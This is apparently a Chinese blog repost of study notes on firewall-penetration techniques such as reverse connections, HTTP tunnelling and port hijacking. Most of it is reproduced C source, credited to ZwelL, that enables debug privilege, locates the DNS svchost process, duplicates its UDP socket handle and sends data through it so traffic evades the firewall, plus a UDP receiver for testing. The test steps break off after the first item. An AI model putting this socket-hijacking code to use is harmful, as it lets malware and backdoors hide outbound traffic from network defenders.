Nov 30

几种穿透防火墙技术--孤独浪子 不指定

本站信息部分来源于网 络上,如有侵犯您的权益内容,请通知本站,本站接受到信息后立即删 除! 切勿利用本站信息用于非法用途
以下是本人对几种穿透技术学习笔记和一点自己的想法:
防火墙是基本网络安全策略之一,它可以阻止不信任的外部网络用户对内部网络用户的访问,如果外网用户同内网用户之间的通信由外网用户发起,通信通常会被防火墙阻断,尤其是对TCP连接敏感,因此我们如果才能保证正常的数据传输呢,特别是非主动连接情况下,怎么保证连接和数据通信的安全稳定性呢?
人们使用穿透防火墙技术(常用):

1.反向连接------>由内网用户发起的连接请求,在防火墙规则下,是允许安全的

2.HTTP隧道技术------>就是吧所有要传送的数据全部封装到Http协议里进行传送

3.端口复用技术------>也称端口劫持技术,。其原理主要是通过修改套接字属性来实现端口重绑定,这种技术在接受外来数据包的时候通常是由主机进行转化,然后用户接受的

4.共享DNS套接字句柄技术------>这主要是使用了dns服务是所有防火墙免疫的功能来实现的,同时DNS套接字句柄技术最大的特点还是才用UDP通信的(后面将通过引用ZwelL的一些代码来说明)

今天我们主要介绍几种组合的穿透防火墙技术

1.反向连接与HTTP隧道技术
反向连接是由内部网络用户主动发起的连接请求,在防火墙规则下是合法的,假设现在有程序S,C

S---->代理------>C 服务端程序s由内部网络发起对C连接请求,通过代理服务器获取相应的IP和端口
<-----(ip,port) 建立socket套接字,设置端口号:80 80 ------------- ============ ===========当C/S建立连接后,进行数据传送的时候,这个时候我们使用HTTP隧道技术,将所有要传输的数据头经过HTTP协议封装,加个HTTP请求头:"Get/HTTP/1.0\r\nUse-Agent:Molliza/1.22\r\nAccept:*/*\r\n\r\n",同时在数据后面加上$$标记,用户在接受到数据的时程序根据预先设定的标记找到数据段,去除HTTP请求头,再把数据交由程序进行处理 采用反向连接+HTTP隧道技术也存在很多局限性 1.采用的端口号为80 2.利用HTTP隧道传输数据需要对数据进行HTTP封装,在混乱的HTTP隧道不能完全保证数据的完整性和安全性,对数据的解封也是一些需要考虑的问题 3.采用数据采集工具和像IS那样的工具可以检测出来 4.防火墙不是傻子,所以规则由时候是不能由我们去改变的 如何可以的吗,我们希望是让S程序为我们自动做个第三方端口映射,而此时第三的稳定性成为了我们的.......... 2.共享DNS套接字句柄技术 这个技术大家在05的时候就应该有所闻了,那是ZwelL发表在安焦上的一篇“一种新的穿透防火墙技术”里面采用的就是利用了dns服务是UDP通信同时又是所有防火墙所不能拒绝的....... 该技术使用了win终端服务库所提供的API函数 大概的流程:
利用wstapi中提供的函数列举所有系统进程----->查找目标进程或目标服务进程----->记录保存目标进程的PID------>利用获取的PID得到套接字句柄---->创建套接字进行通信


  1. ============具体实现代码:以下引用ZwelL关于一种.....代码==================
  2. /*++
  3.    Made By ZwelL
  4.    zwell@sohu.com
  5.    2005.4.12
  6. --*/
  7. #include <winsock2.h>
  8. #include <stdio.h>
  9. #include <wtsapi32.h>
  10. #pragma comment(lib, "ws2_32")
  11. #pragma comment(lib, "wtsapi32")
  12. #define NT_SUCCESS(status)       ((NTSTATUS)(status)>=0)
  13. #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
  14. typedef LONG NTSTATUS;
  15. typedef struct _SYSTEM_HANDLE_INFORMATION
  16. {
  17. ULONG          ProcessId;
  18. UCHAR          ObjectTypeNumber;
  19. UCHAR          Flags;
  20. USHORT          Handle;
  21. PVOID          Object;
  22. ACCESS_MASK        GrantedAccess;
  23. } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
  24. typedef ULONG (WINAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);
  25. ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;
  26. BOOL LocateNtdllEntry ( void )
  27. {
  28. BOOL ret       = FALSE;
  29. char NTDLL_DLL[] = "ntdll.dll";
  30. HMODULE ntdll_dll = NULL;
  31. if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL )
  32. {
  33.        printf( "GetModuleHandle() failed");
  34.        return( FALSE );
  35. }
  36. if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( ntdll_dll, "ZwQuerySystemInformation" ) ) )
  37. {
  38.        goto LocateNtdllEntry_exit;
  39. }
  40. ret = TRUE;
  41. LocateNtdllEntry_exit:
  42. if ( FALSE == ret )
  43. {
  44.        printf( "GetProcAddress() failed");
  45. }
  46. ntdll_dll = NULL;
  47. return( ret );
  48. }
  49. /*++
  50. This routine is used to get a process's username from it's SID
  51. --*/
  52. BOOL GetUserNameFromSid(PSID pUserSid, char *szUserName)
  53. {
  54. // sanity checks and default value
  55. if (pUserSid == NULL)
  56.        return false;
  57. strcpy(szUserName, "?");
  58. SID_NAME_USE snu;
  59. TCHAR       szUser[_MAX_PATH];
  60. DWORD       chUser = _MAX_PATH;
  61. PDWORD       pcchUser = &chUser;
  62. TCHAR       szDomain[_MAX_PATH];
  63. DWORD       chDomain = _MAX_PATH;
  64. PDWORD       pcchDomain = &chDomain;
  65. // Retrieve user name and domain name based on user's SID.
  66. if (
  67.        ::LookupAccountSid(
  68.        NULL,
  69.        pUserSid,
  70.        szUser,
  71.        pcchUser,
  72.        szDomain,
  73.        pcchDomain,
  74.        &snu
  75.        )
  76.        )
  77. {
  78.        wsprintf(szUserName, "%s", szUser);
  79. }
  80. else
  81. {
  82.        return false;
  83. }
  84. return true;
  85. }  
  86. /*++
  87. This routine is used to get the DNS process's Id
  88.   
  89. Here, I use WTSEnumerateProcesses to get process user Sid,
  90. and then get the process user name. Beacause as it's a "NETWORK SERVICE",
  91. we cann't use OpenProcessToken to catch the DNS process's token information,
  92. even if we has the privilege in catching the SYSTEM's.
  93. --*/
  94. DWORD GetDNSProcessId()
  95. {
  96. PWTS_PROCESS_INFO pProcessInfo = NULL;
  97. DWORD          ProcessCount = 0;
  98. char              szUserName[255];
  99. DWORD              Id = -1;
  100. if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount))
  101. {
  102.        // dump each process description
  103.        for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++)
  104.        {
  105.          if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "svchost.exe") == 0 )
  106.          {
  107.             GetUserNameFromSid(pProcessInfo[CurrentProcess].pUserSid, szUserName);
  108.             if( strcmp(szUserName, "NETWORK SERVICE") == 0)
  109.             {
  110.                    Id = pProcessInfo[CurrentProcess].ProcessId;
  111.                    break;
  112.             }
  113.          }
  114.        }
  115.        WTSFreeMemory(pProcessInfo);
  116. }
  117. return Id;
  118. }
  119. /*++
  120. This doesn't work as we know, sign...
  121. but you can use the routine for other useing...
  122. --*/
  123. /*
  124. BOOL GetProcessUserFromId(char *szAccountName, DWORD PID)
  125. {
  126. HANDLE hProcess = NULL,
  127.          hAccessToken = NULL;
  128. TCHAR InfoBuffer[1000], szDomainName[200];
  129. PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;
  130. DWORD dwInfoBufferSize,dwAccountSize = 200, dwDomainSize = 200;
  131. SID_NAME_USE snu;
  132. hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PID);
  133. if(hProcess == NULL)
  134. {
  135.        printf("OpenProcess wrong");
  136.        CloseHandle(hProcess);
  137.        return false;
  138. }
  139. if(0 == OpenProcessToken(hProcess,TOKEN_QUERY,&hAccessToken))
  140. {
  141.        printf("OpenProcessToken wrong:%08x", GetLastError());
  142.        return false;
  143. }
  144. GetTokenInformation(hAccessToken,TokenUser,InfoBuffer,
  145.        1000, &dwInfoBufferSize);
  146. LookupAccountSid(NULL, pTokenUser->User.Sid, szAccountName,
  147.        &dwAccountSize,szDomainName, &dwDomainSize, &snu);
  148. if(hProcess)
  149.        CloseHandle(hProcess);
  150. if(hAccessToken)
  151.        CloseHandle(hAccessToken);
  152. return true;
  153. }*/
  154. /*++
  155. Now, it is the most important stuff... ^_^
  156. --*/
  157. SOCKET GetSocketFromId (DWORD PID)
  158. {
  159. NTSTATUS                   status;
  160. PVOID                      buf = NULL;
  161. ULONG                      size   = 1;
  162. ULONG                      NumOfHandle = 0;
  163. ULONG                      i;
  164. PSYSTEM_HANDLE_INFORMATION h_info   = NULL;
  165. HANDLE sock = NULL;
  166. DWORD n;
  167. buf=malloc(0x1000);
  168. if(buf == NULL)
  169. {
  170.        printf("malloc wrong\n");
  171.        return NULL;
  172. }
  173. status = ZwQuerySystemInformation( 0x10, buf, 0x1000, &n );
  174. if(STATUS_INFO_LENGTH_MISMATCH == status)
  175. {
  176.        free(buf);
  177.        buf=malloc(n);
  178.        if(buf == NULL)
  179.        {
  180.          printf("malloc wrong\n");
  181.          return NULL;
  182.        }
  183.        status = ZwQuerySystemInformation( 0x10, buf, n, NULL);
  184. }
  185. else
  186. {
  187.        printf("ZwQuerySystemInformation wrong\n");
  188.        return NULL;
  189. }
  190. NumOfHandle = *(ULONG*)buf;
  191. h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);
  192. for(i = 0; i<NumOfHandle ;i++)
  193. {
  194.        try
  195.        {
  196.          if( ( h_info[i].ProcessId == PID )   && ( h_info[i].ObjectTypeNumber == 0x1c )
  197.             && (h_info[i].Handle!=0x2c) // I don't know why if the Handle equal to 0x2c, in my test, it stops at getsockname()
  198.                                            // So I jump over this situation...
  199.                                            // May be it's different in your system,
  200.             ) //wind2000 is 0x1a
  201.          {
  202.             //printf("Handle:0x%x Type:%08x\n",h_info[i].Handle, h_info[i].ObjectTypeNumber);
  203.             if( 0 == DuplicateHandle(
  204.                    OpenProcess(PROCESS_ALL_ACCESS, TRUE, PID),
  205.                    (HANDLE)h_info[i].Handle,
  206.                    GetCurrentProcess(),
  207.                    &sock,
  208.                    STANDARD_RIGHTS_REQUIRED,
  209.                    true,
  210.                    DUPLICATE_SAME_ACCESS)
  211.                    )
  212.             {
  213.                    printf("DuplicateHandle wrong:%8x", GetLastError());
  214.                    continue;
  215.             }
  216.             //printf("DuplicateHandle ok\n");
  217.             sockaddr_in name = {0};
  218.             name.sin_family = AF_INET;
  219.             int namelen = sizeof(sockaddr_in);
  220.             getsockname( (SOCKET)sock, (sockaddr*)&name, &namelen );
  221.             //printf("PORT=%5d\n", ntohs( name.sin_port ));
  222.             if(ntohs(name.sin_port)>0) // if port > 0, then we can use it
  223.                    break;
  224.          }
  225.        }
  226.        catch(...)
  227.        {
  228.          continue;
  229.        }
  230. }
  231. if ( buf != NULL )
  232. {
  233.        free( buf );
  234. }
  235. return (SOCKET)sock;
  236. }
  237. /*++
  238. This is not required...
  239. --*/
  240. BOOL EnablePrivilege (PCSTR name)
  241. {
  242. HANDLE hToken;
  243. BOOL rv;
  244. TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
  245. LookupPrivilegeValue (
  246.        0,
  247.        name,
  248.        &priv.Privileges[0].Luid
  249.        );
  250. priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  251. OpenProcessToken(
  252.        GetCurrentProcess (),
  253.        TOKEN_ADJUST_PRIVILEGES,
  254.        &hToken
  255.        );
  256. AdjustTokenPrivileges (
  257.        hToken,
  258.        FALSE,
  259.        &priv,
  260.        sizeof priv,
  261.        0,
  262.        0
  263.        );
  264. rv = GetLastError () == ERROR_SUCCESS;
  265. CloseHandle (hToken);
  266. return rv;
  267. }
  268. void main()
  269. {
  270. WSADATA wsaData;
  271. char testbuf[255];
  272. SOCKET sock;
  273. sockaddr_in RecvAddr;
  274. int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
  275. if (iResult != NO_ERROR)
  276.        printf("Error at WSAStartup()\n");
  277. if(!LocateNtdllEntry())
  278.        return;
  279. if(!EnablePrivilege (SE_DEBUG_NAME))
  280. {
  281.        printf("EnablePrivilege wrong\n");
  282.        return;
  283. }
  284. sock = GetSocketFromId(GetDNSProcessId());
  285. if( sock==NULL)
  286. {
  287.        printf("GetSocketFromId wrong\n");
  288.        return;
  289. }
  290. //Change there value...
  291. RecvAddr.sin_family = AF_INET;
  292. RecvAddr.sin_port = htons(5555);
  293. RecvAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
  294. if(SOCKET_ERROR == sendto(sock,
  295.          "test",
  296.          5,
  297.          0,
  298.          (SOCKADDR *) &RecvAddr,
  299.          sizeof(RecvAddr)))
  300. {
  301.        printf("sendto wrong:%d\n", WSAGetLastError());
  302. }
  303. else
  304. {
  305.        printf("send ok... Have fun, right? ^_^\n");
  306. }
  307. getchar();
  308. //WSACleanup();
  309. return;
  310. }
  311. 很早以前我就有这个想法了,只是一直没有去实现.在上面的代码中,
  312. 因为要找出DNS进程句柄,而svchost.exe又有多个,所以以用户名来进行判断,本来是用OpenProcessToken,
  313. 但是怎么也不行,所以换个方法.用到了wtsapi32库函数.
  314. 再用下面的代码测试:
  315. /*++
  316. UdpReceiver
  317. --*/
  318. #include <stdio.h>
  319. #include "winsock2.h"
  320. #pragma comment(lib, "ws2_32")
  321. void main()
  322. {
  323.    WSADATA wsaData;
  324.    SOCKET RecvSocket;
  325.    sockaddr_in RecvAddr;
  326.    int Port = 5555;
  327.    char RecvBuf[1024];
  328.    int   BufLen = 1024;
  329.    sockaddr_in SenderAddr;
  330.    int SenderAddrSize = sizeof(SenderAddr);
  331.    //-----------------------------------------------
  332.    // Initialize Winsock
  333.    WSAStartup(MAKEWORD(2,2), &wsaData);
  334.    //-----------------------------------------------
  335.    // Create a receiver socket to receive datagrams
  336.    RecvSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  337.    //-----------------------------------------------
  338.    // Bind the socket to any address and the specified port.
  339.    RecvAddr.sin_family = AF_INET;
  340.    RecvAddr.sin_port = htons(Port);
  341.    RecvAddr.sin_addr.s_addr = htonl(INADDR_ANY);
  342.    bind(RecvSocket, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr));
  343.    //-----------------------------------------------
  344.    // Call the recvfrom function to receive datagrams
  345.    // on the bound socket.
  346.    printf("Receiving datagrams...\n");
  347.    while(1)
  348.    {
  349. recvfrom(RecvSocket,
  350.        RecvBuf,
  351.        BufLen,
  352.        0,
  353.        (SOCKADDR *)&SenderAddr,
  354.        &SenderAddrSize);
  355. printf("%s\n", RecvBuf);
  356.    }
  357.    //-----------------------------------------------
  358.    // Close the socket when finished receiving datagrams
  359.    printf("Finished receiving. Closing socket.\n");
  360.    closesocket(RecvSocket);
  361.    //-----------------------------------------------
  362.    // Clean up and exit.
  363.    printf("Exiting.\n");
  364.    WSACleanup();
  365.    return;
  366. }
  367. ===========================================================
  368. 测试步骤:
  369. 1. 在一台机器上执行UdpReceiver,
发表评论
表情
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
emotemotemotemotemot
打开HTML
打开UBB
打开表情
隐藏
记住我
昵称   密码   游客无需密码
网址   电邮   [注册]